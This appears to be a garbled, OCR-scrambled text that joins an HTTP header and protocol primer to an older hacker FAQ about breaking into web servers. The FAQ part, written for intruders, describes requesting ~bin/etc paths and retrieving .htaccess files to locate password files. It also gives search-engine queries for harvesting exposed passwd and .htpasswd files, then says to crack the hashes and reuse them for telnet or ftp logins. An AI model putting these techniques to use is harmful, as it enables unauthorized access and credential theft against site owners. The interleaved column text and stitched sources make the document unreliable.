current host. Another URI is "http://www.host.com/cgi-bin/login.cgi" because it identifies the
resource/page/script/image with no ambiguity.

Finally, the client declares which version of HTTP it can accept. In this case, 1.0.

The HTTP version simply informs the server of the highest version of HTTP the client can accept. Today,
HTTP/1.1 is commonly used. However, throughout this paper, you will see the client requests using HTTP/1.0.
This is because 1.1 requires that the "host:" header be included. By telling the server that our client only
supports HTTP/1.0, we avoid having to provide the host: header in each request (and make the examples more
concise).

HTTP syntax is case sensitive. The method and the "HTTP/" strings are uppercase, while data values/strings,
like the URI, are not necessarily case sensitive. The header names and values are assumed to be case
sensitive, though there is plenty of tolerance for improper case use.
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Accept: image/gif, image/jpg

Accept Language: en-us

Connection: Keep-Alive

Accept: text/*, image/gif, image/jpeg
Accept-Language: en-us
Accept-encoding: gzip

Authorization:

Cookie: account=1234

Connection: Keep-Alive

HTTP Headers

These are examples of the more common HTTP headers and their From: me@here.com

values. Some of these are used in client requests, some in HTTPd Host: www.host.com:1234

responses, and some can be used in both. If-Modified-Since: Mon, 04, May 1999
12:23:34 GMT

If-Unmodified-Since: Mon, 04, May
1999 12:23:34 GMT

Referer:
http://www.here.com/default.htm
User-Agent: Mozilla 1.0
Content-Encoding: x-gzip
Content-Length: 1234
Content-Location:
http://www.host.com/
Content-Type: text/html

(CRLF)

(CRLF)

HTTP headers are used to describe the details of the
request/response, provide information about the content being
transmitted, and connection oriented information used to help
create, use and close the HTTP connection between client and
server.

Entity body The data/information being sent by

the client would be placed here.
This is the HTTP cargo bay.
The entity body follows the two CRLF

Material the client is sending to the HTTPd is placed here (except pairs which act as delimiters.

when using the query string (14 guery string) facility in HTTP). Notice that the "Content-Length:"

header is used to inform the HTTPd
This is the same cargo bay that holds the web pages, images, and of the byte count of the data being
most other content sent to a web browser for display by an HTTPd sent in the entity body.

every time a client clicks on a hyperlink.

HTTPd Response

Response Codes

[HTTP/1.1 200 OK

The server responds by identifying the version(s) of HTTP it supports
along with information describing success or failure of the response.

General Headers

Server: Microsoft-11S/4.0
"General headers are used by both client requests and server Date: Wed, 12 Jun 2002 23:12:09
responses. Some may be more specific to either a client or server GMT
message." (6 Wong, 32)
The headers direct the request response process, in part, by providing meta-data (information about
information). The entity body is the actual information (web pages, image files, keyword search strings, etc.)
the headers refer to.

Entity Headers Content-Location:

http://127.0.0.3/Default.asp
"Entity headers are used by both client requests and server responses. |Content-Type: text/html
They supply information about the entity body in an HTTP message." (6 |Accept-Ranges: bytes

Wong, 47) Content-Length: 4325
(CRLF)
(CRLF)

There is generally very little validation preformed on the HTTP header values, so logged headers are good
candidates for unauthorized injection.
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Entity Body <html>
<body>
The entity body is used by both client requests and server responses, This is my web page 8-)
as needed. This is where the actual material being requested or </body>
supplied is placed. </html>

Typically, an HTTPd is responsible for receiving, interpreting, and responding to client requests for HTTP (Web)
services. These services include web pages, web applications, images and other multimedia content. While
additional protocols and languages help provide the appearance of an interactive environment, the typical
HTTPd functions more like a filing system - meaning they simply respond to client requests for files and
programs.

"HTTP is the protocol behind the World Wide Web. With every web transaction, HTTP is invoked. HTTP is behind
every request for a web document or graphic, every click of a hypertext link, and every submission of a form.
The Web is about distributing information over the Internet, and HTTP is the protocol used to do so." (6 Wong,
1)

The method is the client's command to the HTTPd. The more common methods, or commands, are;

e GET - Requests a specific page or process, along with its standard meta-data. This meta-data includes
the date/time that the page was last updated, its size in bytes, its type (image, text, pdf, etc.), and so
on.

e HEAD - Identical to GET, but only requests the page's meta-data and not the actual page.

What are the critical files on a Webserver?
They are as follows (the names may vary depending on the httpd server you're running):

httpd.conf Contains all of the info to configure the httpd service.
srm.conf  Contains the info as to where scripts and documents reside.
access.conf Defines the service features for all browsers.

.htaccess Limits access on a directory-by-directory basis.

How does the server resolve paths?

Typically a server will resolve paths by having a point in the configuration files that says something like
"turn ~ into public_html", which means that ~thegnome will resolve to /server/path/to/documents +
public_html. Therefore if your server's path to docs is /usr/local/etc/httpd/htdocs with a sub directory
under that of public_html with all of the users' directories under THAT,
http://www.fastlane.net/pub/public_html/thegnome becomes http://www.fastlane.net/~thegnome and
accesses the same file.

The problem with resolves is that some sites (depending on software, revisions, os, patches, etc) will
resolve based off of the /etc/passwd listing of the home directory. This is good for intrusion, bad for
security. As stated earlier in the FAQ, accessing http://lame.target.com/~bin/etc/ can yield interesting
results. In practical experience I've seen this more often on BSD derivatives with Apache than anything
else.

How do access restrictions work?

This is going to vary from platform to platform, but I'm going to use NCSA as an example since it is so
common. I'm not going into a lot of detail, the point is that service can be limited, and to give a flavor of how
easy it is for an admin to set up.

Restricting Access by Host Name

In NCSA this is in access.conf, and you can specify the following:
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allow - host names allowed

AllowOveride - determines whether per-directory access overrides
global access restrictions

deny - host names denied

There are more options depending on OS, server software, etc., and you can get pretty detailed. But most
server software allows access restriction by host names.

Restricting Access by Directory

This is usually accomplished by specifying a <Directory /real/path/to/directory> tag with the restrictions

following, and then closing with an ending tag of </Directory>, all within the access.conf file. For
example, let's say the admin want to limit a directory to company employees only on an NCSA server:

<Limit GET>

order deny,allow

deny from all

allow from mydomain.org
</Limit>

Include those lines in a .htaccess file in the directory you wish to limit and bingo, you're limiting access.
How do password restrictions work?
This typically involves the admin performing the following functions:

O Building each user id/password as needed.
O Updating the main configuration files to recognize that passwords are being used.
O Updating any .htaccess files in individual directories.

The command line syntax for creating a user ID and password (on NCSA) is:
htpasswd [-c] .htpasswdUserName

UserName is the name of the user file you wish to create or edit. The -c option specifies a new file be created,
not the old one edited. If you are creating a new UserName file, and htpasswd doesn't find a duplicate name,
you will be prompted for the password. If it finds a dupe name, it will prompt you to type it in twice. These
passwords do not correspond to system passwords, so if you are an idiot wannabe hacker and you just got into
a server with a shell, don't expect to create a root account with htpasswd and then su to it.

In NSCA you will find the following in the access.conf file indicating passwords are in use:

<Directory /usr/stuff/WWW/docs>
AllowOverride None
Options Indexes
AuthName secretPassword
AuthType Basic
AuthUserFile /usr/WWW/security/.htpasswd
AuthGroupFile /usr/WWW/security/NULL
<Limit GET>
require user UserName
</Limit>
</Directory>

For a directory-level usage, this might be in the .htaccess file:

AuthName secretPassword
AuthType Basic
AuthUserFile /usr/WWW/security/.htpasswd
AuthGroupFile /usr/WWW/security/.group1
<Limit GET>

require user UserName
</Limit>
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Once again I'm not going to go into a lot of detail here. You need to read the documentation for the server
you're attacking (i.e. do your homework) and THEN start changing or updating files. For example, .htaccess is
the name of the file for NCSA and its derivatives, and .wwwacl for CERN.

One of the good things for intruders is that if an admin is using per-directory restrictions you can often retrieve
these files just like a regular URL. For example, if the target is restricting access to the
/usr/local/etc/httpd/docs/secure directory using a .htaccess file to control access, this URL might retrieve it
(depending on server software):

http://www.thegnome.com/secure/.htaccess
Besides containing important info, it will give you the location of the web passwd file.
What “vulnerable™ files can I find?

AltaVista got rid of these, but you USED to be able to search on keywords like "root:" and "0:0", allowing you
to collect password files from misconfigured web servers. You can still do searches with keywords like this to
turn up interesting info (on AltaVista, use the advanced option) -

url:etc AND link:passwd

proprietary AND copyright AND confidential
Another couple of fun AltaVista searches are these:

url:.htaccess

url:.htpasswd

The first one will sometimes reveil interesting info, like the location of the password file, where the restricted
directories are, etc. The second one is really fun, since often it will return a username and an encrypted
password. Once the encrypted password is retrieved, it can be cracked using Crack or Crackerlack or any
number of freely available cracking tools. And it is entirely possible that this encrypted password used to
protect a section or page is the exact same password of a valid account on that server, either accessible via
telnet or ftp.
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